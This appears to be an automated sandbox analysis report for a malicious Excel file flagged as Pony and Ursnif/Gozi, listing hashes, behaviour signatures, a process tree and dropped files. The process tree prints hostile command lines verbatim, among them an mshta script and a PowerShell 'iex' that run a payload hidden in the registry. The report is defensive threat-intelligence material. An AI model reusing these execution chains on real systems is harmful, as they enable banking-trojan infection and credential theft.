Analysis

  • max time kernel
    150s
  • max time network
    141s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    14-07-2020 05:18

General

  • Target

    tr_6.xls

  • Size

    90KB

  • MD5

    a9da58b136b998405015544f03a31626

  • SHA1

    63450e902625e771f03056ca104c146c49cecb89

  • SHA256

    71f08e9b72d2349a42b7b594a2589eed621ae0f7f581406cfcc76f7d367c9590

  • SHA512

    acbcdbe8070e3f073e6046216ffed61785a15cb5e69a1fd70c86193a0a5ecebcb3780e063038479fb35640f8cd0640f764b5e0b93f042b448224a10f1060f261

Malware Config

Signatures

  • Suspicious use of FindShellTrayWindow 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 96 IoCs
  • Suspicious behavior: MapViewOfSection 6 IoCs
  • Pony,Fareit

    Pony is a Remote Access Trojan application that steals information.

  • Checks whether UAC is enabled 3 IoCs
  • Ursnif, Dreambot

    Ursnif is a variant of the Gozi IFSB with more capabilities.

  • Suspicious use of SetWindowsHookEx 24 IoCs
  • Loads dropped DLL 1 IoCs
  • Program crash 1 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 38 IoCs
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Checks for installed software on the system 1 TTPs 7 IoCs
  • Gozi, Gozi IFSB

    Gozi ISFB is a well-known and widely distributed banking trojan.

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of WriteProcessMemory 76 IoCs
  • Suspicious use of SetThreadContext 8 IoCs
  • Suspicious behavior: EnumeratesProcesses 1932 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Executes dropped EXE 1 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Suspicious behavior: MapViewOfSection
    • Suspicious use of WriteProcessMemory
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    PID:2988
    • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
      "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tr_6.xls"
      2⤵
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      • Checks processor information in registry
      • Enumerates system info in registry
      • Suspicious behavior: AddClipboardFormatListener
      • Suspicious use of WriteProcessMemory
      PID:2460
      • C:\Windows\System32\regsvr32.exe
        "C:\Windows\System32\regsvr32.exe" /s /i dDdoiBj.ocx
        3⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:1660
        • C:\Windows\SysWOW64\regsvr32.exe
          /s /i dDdoiBj.ocx
          4⤵
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          • Suspicious use of SetThreadContext
          PID:3976
          • C:\Windows\SysWOW64\svchost.exe
            C:\Windows\System32\svchost.exe
            5⤵
            • Suspicious use of AdjustPrivilegeToken
            • Checks for installed software on the system
            • Suspicious use of WriteProcessMemory
            • Suspicious use of SetThreadContext
            • Suspicious behavior: EnumeratesProcesses
            PID:996
            • C:\Windows\SysWOW64\cmd.exe
              cmd /K
              6⤵
                PID:2976
              • C:\Windows\SysWOW64\svchost.exe
                C:\Windows\System32\svchost.exe
                6⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:1408
              • C:\Users\Admin\AppData\Local\Temp\BN2B51.tmp
                C:\Users\Admin\AppData\Local\Temp\BN2B51.tmp
                6⤵
                • Executes dropped EXE
                PID:1564
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 3976 -s 664
              5⤵
              • Program crash
              • Suspicious behavior: EnumeratesProcesses
              PID:2128
      • C:\Windows\System32\mshta.exe
        "C:\Windows\System32\mshta.exe" "about:<hta:application><script>resizeTo(1,1);eval(new ActiveXObject('WScript.Shell').regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\2FFAFA40-C261-3936-44D3-167DB8B7AA01\\\Addrient'));if(!window.flag)close()</script>"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1552
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex ([System.Text.Encoding]::ASCII.GetString(( gp "HKCU:Software\AppDataLow\Software\Microsoft\2FFAFA40-C261-3936-44D3-167DB8B7AA01").appiness))
          3⤵
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of WriteProcessMemory
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          PID:2848
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\hrp3l234\hrp3l234.cmdline"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:1924
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES91FA.tmp" "c:\Users\Admin\AppData\Local\Temp\hrp3l234\CSC870EFA2CBA194494BB911498C2B9A7CF.TMP"
              5⤵
                PID:2448
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
              "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\0snenslu\0snenslu.cmdline"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:3660
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9267.tmp" "c:\Users\Admin\AppData\Local\Temp\0snenslu\CSC189FF4A6423945E38D1F4A2A4C16602A.TMP"
                5⤵
                  PID:2852
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\Admin\AppData\Local\Temp\BN2B51.tmp"
            2⤵
            • Suspicious behavior: MapViewOfSection
            • Suspicious use of WriteProcessMemory
            • Suspicious use of SetThreadContext
            PID:2180
            • C:\Windows\system32\PING.EXE
              ping localhost -n 5
              3⤵
              • Suspicious behavior: CmdExeWriteProcessMemorySpam
              • Runs ping.exe
              PID:3424
          • C:\Windows\system32\cmd.exe
            cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\Admin\AppData\Local\Temp\D09C.bi1"
            2⤵
              PID:2564
              • C:\Windows\system32\nslookup.exe
                nslookup myip.opendns.com resolver1.opendns.com
                3⤵
                  PID:3420
              • C:\Windows\system32\cmd.exe
                cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\Admin\AppData\Local\Temp\C98C.bi1"
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:3024
                • C:\Windows\system32\nslookup.exe
                  nslookup myip.opendns.com resolver1.opendns.com
                  3⤵
                    PID:3328
                • C:\Windows\system32\cmd.exe
                  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\D09C.bi1"
                  2⤵
                    PID:3000
                  • C:\Windows\system32\cmd.exe
                    cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\C98C.bi1"
                    2⤵
                      PID:1720
                    • C:\Program Files\Windows Mail\WinMail.exe
                      "C:\Program Files\Windows Mail\WinMail" OCInstallUserConfigOE
                      2⤵
                        PID:2848
                    • C:\Windows\System32\RuntimeBroker.exe
                      C:\Windows\System32\RuntimeBroker.exe -Embedding
                      1⤵
                        PID:3356
                      • C:\Program Files\Internet Explorer\iexplore.exe
                        "C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
                        1⤵
                        • Suspicious use of FindShellTrayWindow
                        • Checks whether UAC is enabled
                        • Suspicious use of SetWindowsHookEx
                        • Modifies Internet Explorer settings
                        • Suspicious use of WriteProcessMemory
                        PID:3716
                        • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                          "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3716 CREDAT:82945 /prefetch:2
                          2⤵
                          • Checks whether UAC is enabled
                          • Suspicious use of SetWindowsHookEx
                          • Modifies Internet Explorer settings
                          PID:1848
                        • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                          "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3716 CREDAT:82952 /prefetch:2
                          2⤵
                          • Checks whether UAC is enabled
                          • Suspicious use of SetWindowsHookEx
                          • Modifies Internet Explorer settings
                          PID:688

                      Network

                      MITRE ATT&CK Enterprise v6

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\6BADA8974A10C4BD62CC921D13E43B18_D9817BD5013875AD517DA73475345203

                      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\6BADA8974A10C4BD62CC921D13E43B18_D9817BD5013875AD517DA73475345203

                      • C:\Users\Admin\AppData\Local\Temp\0snenslu\0snenslu.dll

                      • C:\Users\Admin\AppData\Local\Temp\BN2B51.tmp

                      • C:\Users\Admin\AppData\Local\Temp\BN2B51.tmp

                      • C:\Users\Admin\AppData\Local\Temp\C98C.bi1

                      • C:\Users\Admin\AppData\Local\Temp\C98C.bi1

                      • C:\Users\Admin\AppData\Local\Temp\D09C.bi1

                      • C:\Users\Admin\AppData\Local\Temp\D09C.bi1

                      • C:\Users\Admin\AppData\Local\Temp\RES91FA.tmp

                      • C:\Users\Admin\AppData\Local\Temp\RES9267.tmp

                      • C:\Users\Admin\AppData\Local\Temp\hrp3l234\hrp3l234.dll

                      • C:\Users\Admin\Documents\dDdoiBj.ocx

                      • \??\c:\Users\Admin\AppData\Local\Temp\0snenslu\0snenslu.0.cs

                      • \??\c:\Users\Admin\AppData\Local\Temp\0snenslu\0snenslu.cmdline

                      • \??\c:\Users\Admin\AppData\Local\Temp\0snenslu\CSC189FF4A6423945E38D1F4A2A4C16602A.TMP

                      • \??\c:\Users\Admin\AppData\Local\Temp\hrp3l234\CSC870EFA2CBA194494BB911498C2B9A7CF.TMP

                      • \??\c:\Users\Admin\AppData\Local\Temp\hrp3l234\hrp3l234.0.cs

                      • \??\c:\Users\Admin\AppData\Local\Temp\hrp3l234\hrp3l234.cmdline

                      • \Users\Admin\Documents\dDdoiBj.ocx

                      • memory/688-76-0x0000000000000000-mapping.dmp

                      • memory/996-4-0x0000000000400000-0x0000000000409000-memory.dmp

                        Filesize

                        36KB

                      • memory/996-5-0x0000000000402960-mapping.dmp

                      • memory/996-6-0x0000000000400000-0x0000000000409000-memory.dmp

                        Filesize

                        36KB

                      • memory/1408-10-0x000000000BC00000-0x000000000BC12000-memory.dmp

                        Filesize

                        72KB

                      • memory/1408-8-0x000000000BC00000-0x000000000BC12000-memory.dmp

                        Filesize

                        72KB

                      • memory/1408-9-0x000000000BC01067-mapping.dmp

                      • memory/1564-14-0x0000000000DF6000-0x0000000000DF7000-memory.dmp

                        Filesize

                        4KB

                      • memory/1564-11-0x0000000000000000-mapping.dmp

                      • memory/1564-15-0x0000000001150000-0x0000000001151000-memory.dmp

                        Filesize

                        4KB

                      • memory/1660-0-0x0000000000000000-mapping.dmp

                      • memory/1720-101-0x0000000000000000-mapping.dmp

                      • memory/1848-75-0x0000000000000000-mapping.dmp

                      • memory/1924-78-0x0000000000000000-mapping.dmp

                      • memory/2128-19-0x00000000049F0000-0x00000000049F1000-memory.dmp

                        Filesize

                        4KB

                      • memory/2128-24-0x00000000050A0000-0x00000000050A1000-memory.dmp

                        Filesize

                        4KB

                      • memory/2180-92-0x0000000000000000-mapping.dmp

                      • memory/2180-93-0x000000D455726000-mapping.dmp

                      • memory/2448-81-0x0000000000000000-mapping.dmp

                      • memory/2564-96-0x0000000000000000-mapping.dmp

                      • memory/2848-106-0x0000000000000000-mapping.dmp

                      • memory/2848-107-0x0000008FE0668000-mapping.dmp

                      • memory/2848-77-0x0000000000000000-mapping.dmp

                      • memory/2852-88-0x0000000000000000-mapping.dmp

                      • memory/2976-7-0x0000000000000000-mapping.dmp

                      • memory/3000-100-0x0000000000000000-mapping.dmp

                      • memory/3024-97-0x0000000000000000-mapping.dmp

                      • memory/3328-98-0x0000000000000000-mapping.dmp

                      • memory/3420-99-0x0000000000000000-mapping.dmp

                      • memory/3424-95-0x0000002B6C601000-mapping.dmp

                      • memory/3424-94-0x0000000000000000-mapping.dmp

                      • memory/3660-85-0x0000000000000000-mapping.dmp

                      • memory/3976-21-0x0000000000000000-mapping.dmp

                      • memory/3976-22-0x0000000000000000-mapping.dmp

                      • memory/3976-72-0x0000000000000000-mapping.dmp

                      • memory/3976-20-0x0000000000000000-mapping.dmp

                      • memory/3976-73-0x0000000000000000-mapping.dmp

                      • memory/3976-74-0x0000000002BB0000-0x0000000002BB1000-memory.dmp

                        Filesize

                        4KB

                      • memory/3976-2-0x0000000000000000-mapping.dmp